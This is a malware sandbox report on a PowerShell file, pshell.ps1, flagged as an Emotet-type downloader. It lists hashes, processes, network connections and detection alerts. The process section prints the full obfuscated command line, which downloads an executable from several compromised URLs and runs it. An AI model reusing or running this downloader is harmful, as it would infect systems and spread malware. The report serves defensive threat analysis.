analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

pshell.ps1

Full analysis: https://app.any.run/tasks/05f82346-9104-4efc-92d8-57d24c339881
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: November 15, 2018, 18:13:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines
MD5:

FCECA5B1EB8F2CA01CA8C3F0EFBB2CD5

SHA1:

1656A5ABE7921D06B4D0EC886BFCEFA8DB4FE8D0

SHA256:

7DE9C8AE3E86D5E5B2449BEB628F4D80D97060276EB11F01B7F54CA5D81E628B

SSDEEP:

48:0AOFD/1GSZVuEHFSc4SYHkGjDShglqKHDhb49dVqdCGIcMEOpFMId:VijYyV9lSdSYE+mhglHjFQgCGIcspaId

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3200)
      • powershell.exe (PID: 2680)

    • Executes PowerShell scripts

      • powershell.exe (PID: 3200)

    • Application launched itself

      • powershell.exe (PID: 3200)

    • Executes application which crashes

      • powershell.exe (PID: 2680)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
3
Malicious processes
0
Suspicious processes
2

Behavior graph

Click at the process to see the details
start powershell.exe no specs powershell.exe ntvdm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3200"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\AppData\Local\Temp\pshell.ps1"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2680"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " ('((LPhfLPh+LPhuGfranc = LPh+LP'+'hnLPh+LPhew-ob'+'jeLPh+'+'LPhct System.NetLPh+LPh.WLPh+LPhebClLPh+LPhienLPh+LPht;fuGns'+'LPh+LPhadasd = nLPh+'+'LPheLPh+LPhw-object random;fuGbLPh+LPhcd = JLPh'+'+LPhf'+'Chtt'+'p:/LPh+'+'LPh/wwLPh+LPhw.LPh+LPhzaLPh+LPhvier'+'desLPh+LPhign.cLPh+LPhom/0mRP/,'+'httpLPh+LPh://wL'+'Ph+LPhww.mivasoLPh+LPh.cl/sLPh+LPhlhdLPh+LPh1dvLPh+LPh/,LPh+LPhhtLPh+'+'LPhtLPh+LPhp:LPh+LPh//www.aut'+'omobi'+'leLPh+LPh-bLPh+LPhebLPh+LPhra.de/xLPh+LPhiLPh+LPhIItW/,hLPh+LPhttpLPh+LPh://LPh+LPhiiLPh'+'+LPhtaiLPh'+'+LPhntLPh+LPhernationLPh+LPhalhouse.org/LPh+LPhQGO0E/,httLPh+LPhpLPh+LPh://fixLPh+LPhxoo.in/pLPh+LPhublLPh+LPhic/LPh+LPhPRLm709/JLPh+LPhfC.S'+'plit(JLPh+LPhfCLPh+LPh,LPh+LPhJf'+'C)LPh+LPh;fuGkLPh+LPharLPh+LPhapas = fuLPh+LPhGnsadasd.LPh'+'+LPhnextLPh+L'+'Ph(1, '+'343245);fuGhuLPh+LPhas LPh+LPh= fuGenLPh+LPhv:'+'pLPh+LPhublicLPh+LPh LPh+LPh+ JfCk79JfC '+'+'+' fuGkarapLP'+'h+LPhas + LPh+LPhJfCLPh+LPh.exLPh+LPheJfC;foreach(fuGaLPh+LPhbc in fLPh+LPhuGbcdLPh+LPh){try{fuGfLPh+LPh'+'ranc.DownloadFilLPh+LPhe(fuLPh+LP'+'hGLPh+LPha'+'bc.ToString(),'+' fu'+'GhLPh+LPhuaLPh+LPhs);LPh+LPhInvoke-ItemLP'+'h+LPh(fuGhuaLPh+LPh'+'s)LPh+LPh;br'+'eLPh+LPhak;}catch{wrLPh+LPhite-host f'+'uGLPh+LPh_.Exception.MessaLPh+LPhgeLPh+LPh;}}LPh) -rEPLACe([CHAr]74+[CHAr]102+[CHAr]67),[CHAr]39-rEPLACe LPhfu'+'GLPh,[CHAr]36 -rEPLACe LPhk79LPh,[CHAr]92) O6g . ( gOhE'+'Nv:P'+'UBLIC[1'+'3]+gOheNv:publiC[5]+LPhXLPh)').rEplACE(([CHAr]79+[CHAr]54+[CHAr]103),'|').rEplACE(([CHAr]103+[CHAr]79+[CHAr]104),[STriNG][CHAr]36).rEplACE('LPh',[STriNG][CHAr]39) |& ( $eNV:PUBLic[13]+$ENv:pubLIc[5]+'x')"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2408"C:\Windows\system32\ntvdm.exe" -i1 C:\Windows\system32\ntvdm.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
NTVDM.EXE
Exit code:
3221225477
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
526
Read events
396
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
3200powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F0ELLD1TOS38JORYVNQP.temp —
MD5:—
SHA256:—
2680powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JFO5590OOSD33P286Q3N.temp —
MD5:—
SHA256:—
2408ntvdm.exeC:\Users\admin\AppData\Local\Temp\scsF9B6.tmp —
MD5:—
SHA256:—
2408ntvdm.exeC:\Users\admin\AppData\Local\Temp\scsF9C7.tmp —
MD5:—
SHA256:—
2680powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF169d1f.TMPbinary
MD5:0C5E84CFB7FDA503A7F95914AD626D14
SHA256:847C9A54D0A166FB3A44DD4F6C901834D114B86EF68D6E5A7AAA494B6569B01D
3200powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:0C5E84CFB7FDA503A7F95914AD626D14
SHA256:847C9A54D0A166FB3A44DD4F6C901834D114B86EF68D6E5A7AAA494B6569B01D
2680powershell.exeC:\Users\Public\166330.exehtml
MD5:AD775336696788D4D52F90AE93058CD3
SHA256:33BE62F21856C4EE2FF70A21C7B0606F8B50ADF18BF2FEC9F24EEDE57B247D65
3200powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF169afc.TMPbinary
MD5:0C5E84CFB7FDA503A7F95914AD626D14
SHA256:847C9A54D0A166FB3A44DD4F6C901834D114B86EF68D6E5A7AAA494B6569B01D
2680powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:0C5E84CFB7FDA503A7F95914AD626D14
SHA256:847C9A54D0A166FB3A44DD4F6C901834D114B86EF68D6E5A7AAA494B6569B01D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2680
powershell.exe
GET
301
190.107.177.33:80
http://www.mivaso.cl/slhd1dv/
CL
—
—
whitelisted
2680
powershell.exe
GET
404
190.107.177.33:80
http://mivaso.cl/slhd1dv/
CL
html
35.3 Kb
malicious
2680
powershell.exe
GET
404
217.160.0.94:80
http://www.automobile-bebra.de/xiIItW/
DE
html
30.9 Kb
malicious
2680
powershell.exe
GET
200
209.99.40.223:80
http://iitainternationalhouse.org/QGO0E/
US
html
19.1 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2680
powershell.exe
190.107.177.33:80
www.mivaso.cl
Gtd Internet S.A.
CL
malicious
2680
powershell.exe
209.99.40.223:80
iitainternationalhouse.org
Confluence Networks Inc
US
malicious
2680
powershell.exe
217.160.0.94:80
www.automobile-bebra.de
1&1 Internet SE
DE
malicious

DNS requests

Domain
IP
Reputation
www.zavierdesign.com
  • —
malicious
www.mivaso.cl
  • 190.107.177.33
whitelisted
mivaso.cl
  • 190.107.177.33
malicious
www.automobile-bebra.de
  • 217.160.0.94
malicious
iitainternationalhouse.org
  • 209.99.40.223
malicious

Threats

PID
Process
Class
Message
2680
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER MSOffice VBA Trojan-Downloader Generic
2680
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
2680
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER MSOffice VBA Trojan-Downloader Generic
2680
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
2680
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
2680
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER MSOffice VBA Trojan-Downloader Generic
2680
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
pshell.ps1